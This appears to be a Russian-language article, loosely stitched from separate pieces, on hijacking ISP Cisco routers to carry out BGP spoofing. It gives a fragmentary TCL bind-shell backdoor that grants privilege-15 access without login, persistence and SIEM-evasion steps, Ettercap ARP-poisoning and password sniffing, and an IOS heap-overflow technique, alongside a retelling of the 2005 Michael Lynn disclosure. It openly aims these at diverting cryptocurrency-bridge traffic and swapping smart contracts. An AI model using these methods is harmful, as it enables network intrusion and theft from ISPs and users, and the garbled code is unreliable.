Обычно мониторинг ситуаций, связанных с перехватом трафика через bgp затруднен и в siem очень трудно отследить что-то связанное с изменением маршрутов трафика при помощи внедрения bgp нарушителем. Поговорим немного о том, как можно использовать маршрутизаторCisco Systems с привилегированным доступом level 15, что позволяет для реализации сценариев bgp spoofing с использованием встроенного в него функционала скриптового движка TCL.
Вариантов изменения маршрутов (создание bgp обхода) в сети Интернет может быть несколько, однако самый простой из них — получению доступа к роутеру, а уже эту задачу можно решать различными способами и методами, мне на ум пришло несколько таких:
Брутфорс пароля от интерфейса управления BGP;
Получение доступа посредством угона почты/аккаунта/компьютера одного из сотрудников или администраторов какого-нибудь провайдера (который рулит этим bgp роутером);
Поиск или эксплуатация уже существующих багов в BGP-сервере для обхода, запущенном на Linux-машине (по моему опыту, это чаще всего это Bird, Quagga (FRR) или же это будет стандартный девайс Cisco, Juniper или Huawei);
Получение доступа к управлению софтовым маршрутизатором BGP через сторонние сервисы, запущенные на этом же Linux-сервере;
«Вклинивание» в уже установленную BGP сессию между определенными узлами, но об этом мы поговорим чуточку позже, или напишите мне в личку.
Сейчас я опишу несколько вариантов реализации mitm bgp метода, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе под управлением Cisco IOS. Тебе это сильно пригодится для более глубокого осмысления роли bgp в криптоканалах как раз для создания своего bgp сервера для обхода и приземления нужного тебе трафика на свой мост.
Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему Cisco IOS, используемую маршрутизаторами Cisco Systems, интерпретатор Tcl был внедрён начиная с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения «пользовательских» скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.
Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора под управлением Cisco IOS для следующих действий:
Разработки собственного варианта «бэкдора» с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
Перехват bgp-сессии с подменой маршрутов или внедрением своего маршрута;
Проведения сканирования портов в различных сегментах сети;
Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
Процессинг крипты через подмену маршрута bgp до криптомоста с китами и подмена смартконтрактов на этом мосте;
Создание bgp обхода для инфильтрации трафика на своём оборудовании;
Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.
Данными методами также можно воспользоваться для процессинга крипты, получив доступ к TFTP-серверу телеком провайдера, где размещены существующие активные TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для реализации bgp spoofing сценария или создания bgp сервера для обхода криптомоста с последующим приземлением трафика китов на свой мост. В этом случае произойдет загрузка именно твоего сценария TCL и запуск его на граничном bgp-маршрутизаторе.
Практикуемся
Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий недавно использовался в качестве задания на соревнованиях «Рускрипто CTF«.
В первую очередь давай разберем, как работает Tcl на устройствах под управлением Cisco IOS.
Загрузка и исполнение TCL-скрипта:
Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно на маршрутизатор Cisco, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы Cisco IOS.
Вот так выглядит загрузка скрипта во FLASH память и последующее его выполнение:
Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
catch {exec $line} result if {[catch {puts $sock $result}]} { return [close $sock] }
puts -nonewline $sock "Router# " flush $sock }
set port 2002 set sh [socket -server callback $port] vwait var close $sh
После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.
[ptsec@maxpatrol ~]$ telnet router 2002 Trying 192.168.1.10... Connected to router. Escape character is '^]'.
Cisco router admin console:
Router#
Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением Cisco IOS. В ранних версиях Cisco IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот «патч-фикс» производителя можно обойти несколькими способами:
1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии пользователя скрипт завершит свою работу.
Router>en Router#conf t Enter configuration commands, one per line. End with CNTL/Z. Router(config)#line vty 0 4 Router(config-line)#exec-timeout 0 0
2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация Cisco IOS, которая загружает скрипт с TFTP сервера после запуска маршрутизатора по истечении 20 секунд.
3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.
Готовые утилиты и сценарии bgp spoofing
В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный в Cisco IOS язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL во flash-память маршрутизатора или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL-скрипта на маршрутизатор описана выше.
Примеры реализации:
Организация бэкдора на маршрутизаторе (2002 порт):
У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.
Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде Cisco IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.
Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC
Free Memory on Platform = 29038388 / Memory required for this scan = 2622514
Host 192.168.1.1 is unavailable
Host 192.168.1.2 is unavailable
Host 192.168.1.3 is unavailable
Interesting ports on host 192.168.1.4 PORT STATE SERVICE 20/tcp closed ftp-data 21/tcp closed ftp 22/tcp closed ssh 23/tcp closed telnet 24/tcp closed priv-mail 80/tcp open http 443/tcp closed https
Host 192.168.1.5 is unavailable
Router#
Изменение вариантов сканирования скрипта возможно путем добавления аргументов:
-sP – только по ответу хоста;
-sT – TCP-портов методом TCP connect;
-sU – UDP-портов через функционал IP SLA.
Учитывая богатые возможности языка ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании под управлением Cisco IOS для применения в локальной вычислительной сети провайдера для реализации bgp spoofing сценариев.
Как скрыться от SIEM
Имея возможность запускать сценарии TCL, также интересно иметь возможность отследить их исполнение в среде Cisco IOS. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:
Router#show processes cpu | i Tcl 212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16
Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):
Router#show control-plane host open-ports Active internet connections (servers and established) Prot Local Address Foreign Address Service State tcp *:23 *:0 Telnet LISTEN tcp *:23 192.168.1.4:1379 Telnet ESTABLIS tcp *:80 *:0 HTTP CORE LISTEN tcp *:1234 *:0 Tcl Serv - tty163 LISTEN
Инженер электросвязи шатает BGP
Таким образом, все поняли, что любую, даже самую защищенную провайдерскую Cisco можно захватить умело написанным и запущенным TCL-сценарием. В итоге ты получаешь шелл для манипулирования трафиком в глобальной сети Интернет для реализации нужных тебе сценариев bgp spoofing для проведения mitm с криптой со всеми вытекающими отсюда последствиями.
Ettercap NG – сетевой sniffer /interceptor/ logger для коммутируемых сетей (switched LAN). Программа использует ARP poisoning и “man-in-the-middle” методы нападения, чтобы перехватывать подключения между двумя хостами в реальном времени. Вы можете перехватить трафик между двумя хостами в сети интернет, используя MAC-based sniffing mode. Позволяет перехватывать SSH1, HTTPS и другие защищенные протоколы. В последнее время часто используется для реализации сценариев bgp spoofing при MiTM на майнинг и протокол bgp как таковой.
Позволяет расшифровывать пароли для следующих протоколов — TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG или как это говорят на профильных площадках
«Сетевой инженер шатает bgp».
Перехват трафика Ettercap NG и как это работает?
Ettercap NG — это мощный инструмент для перехвата сетевого трафика, который использует несколько ключевых методов для достижения своих целей:
ARP-спуфинг. Ettercap подменяет MAC-адрес шлюза на свой собственный в ARP-таблице целевого устройства. В результате, весь трафик, предназначенный для шлюза, направляется на атакующий компьютер. Более подробно это выглядит так:
Ettercap NG отправляет поддельные ARP-пакеты, утверждая, что он является шлюзом.
Целевое устройство обновляет свою ARP-таблицу и начинает отправлять трафик на машну с Ettercap NG.
Ettercap NG перехватывает этот трафик и может его анализировать, модифицировать или перенаправлять.
Прозрачный прокси. Ettercap NG устанавливает себя в качестве промежуточного сервера между клиентом и сервером. Весь трафик, проходящий через это соединение, проходит через Ettercap NG.
Ettercap NG перехватывает соединение между клиентом и сервером.
Модифицирует пакеты таким образом, чтобы клиент и сервер думали, что общаются напрямую.
Ettercap NG может дешифровать и шифровать трафик, а также изменять его содержимое.
Инъекция пакетов. Ettercap NG может вставлять свои собственные пакеты в сетевой трафик.
Анализ протоколов. Ettercap NG поддерживает широкий спектр сетевых протоколов и может анализировать их содержимое.
Фильтрация пакетов. Ettercap NG позволяет фильтровать пакеты по различным критериям, таким как IP-адрес, порт, протокол и т.д.
Для чего используется Ettercap?
Анализ безопасности. Для выявления уязвимостей в сетевых устройствах и приложениях.
Перехват паролей. Для перехвата незашифрованных паролей.
Проксирование. Для создания прозрачных прокси-серверов.
Отладка сетевого трафика. Для отладки сетевых приложений.
MiTM на майнинг
Реализация bgp spoofing сценариев
Атаки на протокол bgp
Атаки с подменой маршрутов в зоне bgp
BGP сервер для обхода
BGP сценарии с подменой маршрутной информации
с Ettercap NG методов работы всего три
1) <a>, ARP poisoning based sniffing, применяется для сниффинга в коммутируемых локальных сетях второго уровня, а также для применения bgp spoofing сценариев класса mitm. В данном случае используется сценарий arpoison, которая модифицирует ARP-таблицы целевых хостов таким образом, что все кадры данных с выбранного source идут на твой хост с Ettercap NG, а с твоего хоста уже — на destination в пункт назначения на bgp-роутер или клиенту криптомоста, это уж как тебе будет удобнее.
Иными словами, с помощью этого метода сниффинга ты сможешь видеть любой траффик твоего сегмента сети за пределами каких бы то ни было ограничивающих тебя коммутаторов. Ты также сможешь реализовывать любые mitm-сценарии, ровно с той же силой, как если бы твой хост на самом деле был бы посередине двух хостов. На основе этого метода, уже с версии 0.6.7 Ettercap NG реализует перехват (dissection) паролей протоколов ssh1 и https. Можно даже сниффить пароли в ssh версии 2, если подключить фильтр (ettercap -F etter.filter.ssh), который будет спуфить версию ssh-сервера с 1.99 (openssh-0.9.6, etc) на 1.51, поддерживающую только лишь первую версию протокола ssh. Очевидно, что для реализации сценария arpoison, ettercap’у необходимо зафлудить сеть целой пачкой сгенерированных ARP-пакетов, и я тебе скажу больше, что на современных управляемых коммутаторах уже есть средства, отлавливающие этот сценарий. И уж конечно тебе решать, как от этого спасаться, чтобы не спалиться Можно, например, вводить ложный IP-адрес…
2,3) <s>, IP based sniffing, <m>, MAC based sniffing, это обычный пассивный сниффинг локальной сети. Возможности такого сниффинга ограничены, хотя меня впечатлило количество поддерживаемых протоколов при относительно небольшом размере программы. Напихав нужные адреса в source, destination или в оба сразу (я выбрал 192.168.0.200 в качестве source), выбирай метод сниффинга (я выбрал <a>), ты попадешь в соответствующее окно:
и будешь видеть все интересующие тебя соединения. Для того, чтобы собирать пароли, делать не нужно вообще ничего =)) Наведи курсор на нужное тебе соединение: пароли будут появляться в нужной части экрана =)) Сброс паролей в лог — кнопка <l>. Нажми на кнопку <h> и ты увидишь новый диапазон возможностей, уверен, он тебя впечатлит. Убийство соединений, хайджекинг, филтеринг, etc… Что ещё нужно для перехвата bgp-сессии и реализации bgp-spoofing сценария при работе с криптоканалами и криптомостами? =) На видео более подробно поговорим про утечки маршрутов (route leaks) и к чему вообще всё это….
ВКУСНОСТИ Возможности программы ettercap ng огромны, но я почти уверен, что они тебя не удовлетворят на все 100%. Ну что же, для твоих криптовалютных целей предусмотрены варианты в виде:
1) Написания плагинов; ну тут все просто и понятно: не влезая в кишки ettercap’a, юзаешь плагинный интерфейс этой проги и делаешь нужный тебе компонент, который ты сможешь подгружать в программу всякий раз, когда тебе это нужно.
2) Возможность bind’ить локальный порт, с которым ettercap проассоциирует нужное тебе соединение, например по 179 порту. Это очень ценное свойство программы: ты сможешь заранее реализовать нужные тебе механизмы, воспроизвести которые в реальном времени обычными средствами весьма затруднительно =)) Проще говоря, влезать в чужие IRC-приваты и материться можно и руками, но если ты захочешь впарить кому-нибудь бекдор, проспуфив http или ftp, или сообщить какому-нибудь биржевому игроку, что его акции упали в цене в четыре раза, или же подменить некий криптомост, где плавают жирные киты на время своим мостом с нужными тебе смартконтрактами, такое свойство программы может оказаться весьма и весьма кстати =))
«Я считаю, что должен сделать то, что необходимо — для страны в целом и национальной инфраструктуры, в частности. У меня есть информация, что подрывные элементы уже активно занимаются диверсионной деятельностью против Cisco IOS. Я считаю необходимым рассказать всем, что да, Cisco IOS уязвима»
Майкл Линн
Дыра, обнаруженная в маршрутизаторах Cisco и обнародованная на хакерской конференции Black Hat 2005 USA, наделала столько шуму, что попала на страницы некомпьютерных газет. О ней много пишут, но все как-то в общих словах никакой конкретики. Говорят о скором конце интернета, пугают захватом управления над магистральными каналами связи, но исходных кодов эксплоита не показывают…
Все началось с того, что 26 января 2005 года, телекоммуникационный гигант Cisco Systems, Inc. обнародовал сообщение о дыре в своей новой операционной системе Cisco IOS, установленной на миллионах маршрутизаторах ( Cisco Security Advisory: Multiple Crafted IPv6 Packets Cause Reload ). Однако, информация была неполной, технические детали отсутствовали и добыть их легальным путем не удавалось. Cisco явно что-то скрывала, прячась за туманными фразами, которые можно было трактовать и так, и эдак. Компания ISS (Internet Security Systems), специализирующаяся на информационной безопасности, решилась на собственное расследование. Провести его поручили молодому 24 летнему, но довольно продвинутому хакеру Майклу Линну (Michael Lynn). Шеф вызвал его к себе на ковер и спросил: «Can you reverse-engineer… can you disassemble Cisco IOS… to find out what their vulnerability is?» /* Можешь ли ты дизассемблировать Cisco IOS и разобраться с этой уязвимостью?» */. Ну какой бы хакер ответил нет?
Всю ночь Майкл пил кофе изучая Cisco IOS, но все-таки нашел… совсем другую дыру, намного более коварную и могучую. К в общем-то безобидной перезагрузке (reload) добавился захват управления, а это уже серьезно. Представитель ISS немедленно позвонил в Cisco Systems, Inc. и сказал: «OK, we aren’t 100 percent sure that we found the same bug that you’re talking about, but it’s important we find out because the one we found has much, much greater impact. You said there’s (the possibility) of a denial-of-service attack. But the one we found is fully exploitable» /* Хорошо, мы на 100% не уверены, что мы нашли тот же самый баг, о котором вы говорили, но наш баг, гораздо более серьезен. Вы говорили, что возможен только отказ в обслуживании, но баг, найденный нами, допускает захват управления» */, но там не поверили: «You guys are lying. It is impossible to execute shell code on Cisco IOS» /* Ваш парень лжет. Это невозможно выполнить shell-код на Cisco IOS */.
Майкла снова вызвали на ковер, приказав написать экплоит: «Mike, your new research project is Cisco IOS. Go find out how to exploit bugs on Cisco IOS so we can prove these people wrong» /*Майкл, твой новый исследовательский проект есть Cisco IOS. Вынь да положь рабочий эксплоит для Cisco IOS, чтобы мы могли доказать, что те редиски не правы */
Весь следующий месяц Майкл провел в ожесточенных исследованиях. Но даже имея работоспособный эксплоит на руках, ISS так и не смогла убедить телекоммуникационного гиганта, что его марштутизаторы дырявы как старый галош. Только 14 июня (т. е. спустя три месяца!) они выслали инженера, который охарактеризовал себя как «архитектор Cisco IOS«, чтобы закрыть этот вопрос раз и навсегда. Майкл в присутствии адвоката продемонстрировал работу эксплоита, натянув маршутизатор по самые помидоры. Это повергло инженера в глубокий шок, но вместе с тем и развеселило: «Wow, that’s cool» /* Вау! Это круто! */. Инженер ознакомился с черновой версией презентации, которую Майкл планировал продемонстрировать на конференции Black Hat и укатил назад в свою компанию…
Руководство ISS отнеслось к презентации с большим одобрением: «Hey, you want to go to Black Hat? We’d like you to do it» /* Эй, ты хочешь выступить на Black Hat’е? Это нам нравится! */ и порекомендовало распространить эксплоит среди всех тестеров компании: «Give this to all the sales engineers and to all the pen testers» /* Раздай его всем инженерам по продажам и всем бумажным тестерам */, но Майкл опасался за последствия: «You do realize if you do that, it’s going to leak?» /* Неужели вы не понимаете, что если вы это сделаете, то произойдет утечка? */. Руководство, недоуменно пожав плечами, возразило: «That’s Cisco’s problem» /* Это проблема Cisco */. Короче все шло своим чередом. Презентация готовилась, а конференция приближалась.
Неожиданно Майкла вздернули на ковер и под угрозой увольнения запретили упоминать факт дизассемблирования Cisco IOS. Затем его пригласил на пиво большой босс из Cisco Systems, Inc. и предложил отложить презентацию… на год. До тех пор пока не будет выпущена новая версия операционной системы. Телекоммуникационный гигант осознавал угрозу, но отчаянно не хотел, чтобы ее осознали другие. Сошлись на том, что вместе с Майклом на сцену поднимается парень из Cisco Systems, Inc., который скажет «пару слов», очевидно, обозвав докладчика лжецом, но Майкла это не беспокоило. Чтобы развязать себе руки он уволился из ISS, решив прочитать доклад во чтобы то ни стало. Кто-то же должен предупредить народ об опасности! И доклад «The Holy Grail: Cisco IOS Shellcode and Remote Execution» был действительно прочитан! Эффект разодрал аудиторию взрывом атомной бомбы. Майклом заинтересовались Военно-воздушные силы, Booz Allen Hamilton, Агентство Национальной Безопасности и конечно же, небезызвестный CERT. Они предложили ему подключиться к проекту по разработке анти-хакерской стратегии выхода из ситуации, но это уже другая история. Вернемся к Cisco Systems, Inc., чья реакция оказалась весьма неоднозначной. Во-первых, при содействии организаторов Black Hat 2005 USA она изъяла текст презентации из материалов конференции и конфисковала сопроводительные компакт-диски, заменив их точно такими же, но без доклада. Во-вторых, она обвинила Майкла во всех смертных грехах и в краже интеллектуальной собственности в том числе.
Сейчас Майкла ожидает куча судебных исков и разбирательств, а Cisco System, Inc. ведет охоту на всех тех, кто осмелился выложить копию доклада в Интернет. К счастью, всемирная сеть живет по своим законам и любые попытки взять ее под контроль имеют обратный результат. Копии плодятся как кролики.
Неверно считать, что до презентации оборудование под управлением Cisco IOS считалось неуязвимым. Так думать мог либо некомпетентный специалист, либо коммерсант. Это не первая и не последняя уязвимость в Cisco IOS. Дыры в маршрутизаторах обнаруживались и раньше. За последние пять лет их накопилось около двух сотен, в чем легко убедиться, посетив сайт cisco.com, а ведь это только официально подтвержденные уязвимости! Неподтвержденных, естественно больше.
Существует множество эксплоитов, в том числе и с переполнением буфера, через который засылается shell-код, берущий маршрутизатор под свой контроль. Их можно найти практически на любом хакерском сайте. В частности, еще три года назад в Cisco IOS обнаружилось переполнение буфера, приводящее к захвату управления и был написан демонстрационный эксплоит продемонстрированный на конференции Black Hat 2002 Asia «Attacking Networked Embedded Systems», детально описанный в 60 номере журнала Phrack «Burning the bridge: Cisco IOS exploits«.
Так что заслуги Майкла и масштабы угрозы сильно преувеличены. Он не был первопроходцем. Обнаруженная им уязвимость применима только к IPv6, и только к IP-пакетам, пришедшим с локального интерфейса. То есть, взломать свой собственный маршрутизатор можно, а вот чей-то чужой, взятый наугад, уже нет. Вот тебе и власть над магистральными каналами, вот тебе и Интернет, поставленный на колени.
Вопреки распространенному мнению, рабочий код эксплоита ни на конференции, ни в сопроводительных материалах, так и не был продемонстрирован. Майкл не оставил никаких намеков в каком направлении рыть, но это не помешало остальным хакерам повторить его подвиг, и дыра была открыта заново, однако, о каком бы то ни было практическом использовании говорить слишком рано. IPv6 полностью войдет в нашу жизнь не через год, и не через два, а к тому времени Cisco IOS будет повсеместно или практически повсеместно обновлена. Впрочем, кое-где IPv6 все-таки используется (особенно у аплинков или в Швейцарии, недавно ставшей на первое место по применению IPv6), так что подходящую «дичь» можно найти всегда.
Дыры в маршрутизаторах — вполне закономерное явление, которого следовало ожидать
Еще ни одному разработчику не удалось реализовать TCP/IP без ошибок. Обнаруженные уязвимости — симптом тяжелой болезни. До сих пор маршрутизаторы работали лишь потому, что выпадали из поля зрения хакеров, которым намного более выгодно ковырять Windows/Java/AdobeFlashPlayer, чем возиться с Cisco IOS. Оно и понятно. Традиционные операционные системы у каждого стоят на столе, а вот до маршрутизатора еще дотянуться нужно! Завладеть такой штукой может далеко не каждый, к тому же дизассемблирование Cisco IOS требует высокой квалификации и специальной подготовки. Готовой информации нет никакой и каждый шаг требует кучи исследований. Вместо наезженной дороги перед нами расстилается сумеречная тьма непроходимой местности, усеянной множеством ловушек. Впрочем, не все так сложно, потому как не боги горшки обжигают, и что сделано одним человеком, может быть понято другим. И главное тут даже не знания.
Главное — это желание и настойчивость В Cisco Systems, Inc. наступила на грабли. И скоро получит в лоб. Они выиграли тактическое сражение, но проиграли стратегическую войну. Попытка удержать информацию под спудом, породила скандал, а скандал породил интерес. Хакеры всколыхнулись и бросились штурмовать Cisco IOS. «Причина, по которой мы это делаем, заключается в том, что кто-то сказал: вы не сделаете этого» — сказал один из них. «Линн не ограничился только идеями, хотя и не сообщил всех деталей. Но он сказал достаточно, чтобы люди могли понять, как им действовать, и они сделали это» — добавил другой.
Всплеск интереса к IOS обещает принести множество новых дыр, так что следующий год должен быть весьма «урожайным». Но как подступиться к маршрутизатору? Монитора нет, клавиатуры нет… Какие инструменты нам понадобиться? Какие машинные языки следует изучить? Короче, для начала исследований нам нужен хороший стартовый пинок… э… толчок.
Архитектурно маршрутизатор под управлением Cisco IOS состоит из материнской платы, процессора, памяти, шины и интерфейса ввода/вывода. Процессоры довольно разнообразны. В зависимости от модели маршрутизатора в них может быть установлен и традиционный Intel, и Motorola, и MIPS. В частности, на дизассемблерных фрагментах, приведенные в презентации Майкла, легко узнаются PowerPC, так что поклонники x86 отдыхают или в срочном порядке изучают ассемблеры для остальных платформ. Вот перечень используемых процессоров в маршрутизаторах Cisco:
Полностью укомплектованный маршрутизатор несёт на своём борту четыре вида памяти:
а) энергонезависимую перезаписываемую FLASH, содержащую сжатый образ операционной системы (для сжатия используется библиотека zlib); б) энергонезависимую перезаписываемую NVRAM со стартовой конфигурацией (startup-config); в) энергозависимую перезаписываемую DRAM/SRAM (обычная оперативная память); г) энергонезависимую не перезаписываемую постоянную память типа BootROM, содержащую ROMMON код, включающий себя процедуру начального тестирования POST, первичный загрузчик IOS, короче говоря, ПЗУ в обычном его понимании. В усеченных конфигурациях NVRAM может отсутствовать. Подробности можно найти в материале «Cisco Router Forensics».
Если процессор — сердце маршрутизатора, то операционная система — его душа. В оборудовании Cisco Systems, Inc. главным образом используются две операционных системы: CatOS и Cisco IOS (Internet Operation System), причем последняя намного более популярна. Это операционная система реального времени, скомпилированная gcc и подозрительно похожая на BSD. Она основана на монолитной архитектуре ядра, то есть загружаемых модулей нет, во всяком случае пока. По соображениям быстродействия в ранних версиях операционной системы все процессы работали с одним и тем же образом (image) и разделяли единое адресное пространство (share memory space).
Никакой защиты от воздействий со стороны одного процесса на код/данные, обрабатываемые другим процессом, не предусматривалось, что существенно облегчало написание shell-кода. Так же имелся псевдомногозадачный планировщик не вытесняющего типа «run to completion» (выполнение до завершения). То есть, если в Windows NT операционная система сама переключает потоки без участия со стороны программиста, то в Cisco IOS поток должен явно вызвать системную функцию для передачи управления. А это значит, что shell-код может легко захватить власть над системой (например, используемый Агентством Национальной безопасности бэкдор JETPLOW, о котором нам любезно рассказал Эдвард Сноуден в прошлом году) и не давать себя удалять, впрочем, радоваться по этому поводу слишком рано.
Начиная с IOS-XR поддерживается и защита памяти между процессами, и вытесняющая многозадачность. (Подробности о структуре Cisco IOS можно почерпнуть из книжки «Inside Cisco IOS software architecture» издательства Cisco Press, которую легко найти в любом книжном магазине или скачать с торрента). Поверх ядра накидано множество программного обеспечения, занимающегося самыми разнообразными задачами — от маршрутизации до «чистки» конюшен, причем, в различных «железках» это программное обеспечение сильно неодинаково. И приложения, и ядро работает с одинаковым уровнем привилегий и имеют доступ ко всем системным ресурсам. Программные файлы представляют собой обыкновенные 32-битные статически слинкованные ELF‘ы с покоцанной отладочной инфой (ELF 32-bit MSB executable, statically linked, stripped).
Управление маршрутизатором осуществляется через любой внешний порт — от COM-шнурка, до telnet-терминала, работающего на TCP/IP. Интерфейс — командная строка. Среди команд есть как документированные, так и нет (подробнее о недокументированных командах можно узнать у старика Гугла; запрос «undocumented Cisco IOS command» выдает тысячи ссылок, среди которых встречается немало полезных.
Настоящим подарком для хакеров стала команда «gdb«, вызывающая встроенный отладчик и поддерживающая следующие подкоманды:
gdb debug PID /* не реализовано */ examine PID /* отладка процесса с указанным PID */ kernel /* отладка ядра, работает только с консоли */
Однако, прежде чем использовать отладчик его необходимо скомпилировать. Идем на http://www.gnu.org/software/gdb/download/, берем копию посвежее или, наоборот, по старее (предпочтительно использовать gdb-4.18 как наиболее протестированную) и говорим:
mkdir m68k-cisco ../configure —target m68k-cisco make
В результате мы получим двоичный файл для платформы m68k. Для остальных платформ компиляция осуществляется аналогичным образом. Теперь можно начинать отладку! Консоль в это время будет нефункциональна, а весь обмен с отладчиком пойдет через его собственный отладочный протокол, описанный в исходном файле remote.c
На маршрутизаторе устанавливается серверная часть отладчика, а на терминале — клиентская. Причем отладка ядра (подкоманда kernel) возможна только с консоли.
Дадим команду «gdb examine 18«, где «18» – идентификатор отлаживаемого процесса (в данном случае «logger«). Подробнее обо всем этом можно прочитать на сайте команды XFocus: http://www.xfocus.net/articles/200307/583.html) Основные отладочные команды перечислены ниже:
Для отладки желательно иметь символьную информацию, однако, Cisco IOS — это закрытая система с закрытыми спецификациями (ну, не такими уж и закрытыми учитывая, что это порт BSD, унаследовавший родимые пятна багов в zlib, ssh и SNMP) и символьной информации не достать (во всяком случае через легальные каналы), тем не менее корпеть над дизассемблированием дампа не придется.
В мае 2004 года корпоративная сеть Cisco Systems, Inc. была взломана и исходные тексты операционной системы Cisco IOS 12.3, 12.3t попали в руки хакера по кличке franz, который распространил через IRC небольшую часть исходников ~2.5 Мб в качестве доказательства (самое интересное, что именно в этой месте Майкл обнаружил баг, подозрение усиливается тем фактом, что за ночь дизассемблировать Cisco IOS совершенно невозможно, а именно столько потребовалось ему на анализ).
К настоящему времени исходные тексты просочились в сеть и теперь их можно найти на торрентах, полный объем архива составляет 800 Мб. Впрочем, отсутствие исходных текстов — это еще не преграда. IDA Pro в руки и айда.
Прогружаем JETPLOW или где и как искать дыры в Cisco IOS
Приемы поиска переполняющихся буферов в Cisco IOS мало чем отличается от других операционных систем, но есть в ней и свои особенности. Стек используется крайне редко, в основном она налегает на кучу. По сообщениям Cisco Systems, Inc., разрушение кучи — наиболее распространенный баг её маршрутизаторов. Но вот о том, что причиной разрушения являются переполнения динамических буферов она предпочитает умолчать. Так что дыры есть!
Методика переполнения кучи подробно описана в книге «hacker shellcoding uncovered» и в статье «Once upon a free()» из 57 номера Phrack’а. В Cisco IOS все блоки памяти объединены в двунаправленный список следующего типа:
При освобождении памяти выполняется следующий код, исключающий текущий блок из цепочки занятых блоков:
*prev=*next; *(next+20) = *prev;
Результатом этой операции становится запись в ячейки *prev и *(next+20) значений *next и *prev. Если в результате переполнения нам удастся подменить поля prev и next мы соврем банк, получив возможность писать произвольные данные/код в любое выбранное место.
Эта техника (кстати говоря, разработанная хакерами FX и KIMO), получила название «Uncontrolled pointer exchange«, но прежде чем ей воспользоваться необходимо познакомится со структурой кучи. Она довольно проста:
В начале идет так называемый магический номер (MAGIC), равный AB1234BCh, а в самом конце — Красная Зона (REDZONE), равная FD1001DFh. Обе выполняют охранную функцию и затирать их нельзя. Значение указателя prev проверяется перед освобождением и потому должно быть валидно.
В упрощенном виде проверка выглядит так:
if (next_block->prev!=this_block+20) abort();
Еще проверяется значение поля Size + Usage, старший бит которого определяет занятость блока (0 — свободен, 1 — занят), что создает проблемы при строковом переполнении, поскольку мы не можем располагать здесь нули и минимальное значение, которое мы можем получить получается слишком большим (7F010101h), однако, тут есть обходной путь. Поскольку, переполнение разрядной сетки никем не контролируется, использование значений типа 7FFFFFFFh дадут ожидаемый результат.
Остальные поля никак не контролируются и могут содержать любые значения. Короче говоря, написание shell-кода вполне возможно. Операционная система Cisco IOS использует статические адреса (что есть хорошо), но они меняются от одного билда к другому, а это уже плохо. Поэтому, прежде чем атаковать свою жертву, необходимо тем или иным способом определить версию Cisco IOS, иначе JETPLOW сдохнет ещё даже не прогрузившись в устройство. Это можно сделать через CDP или SNMP.
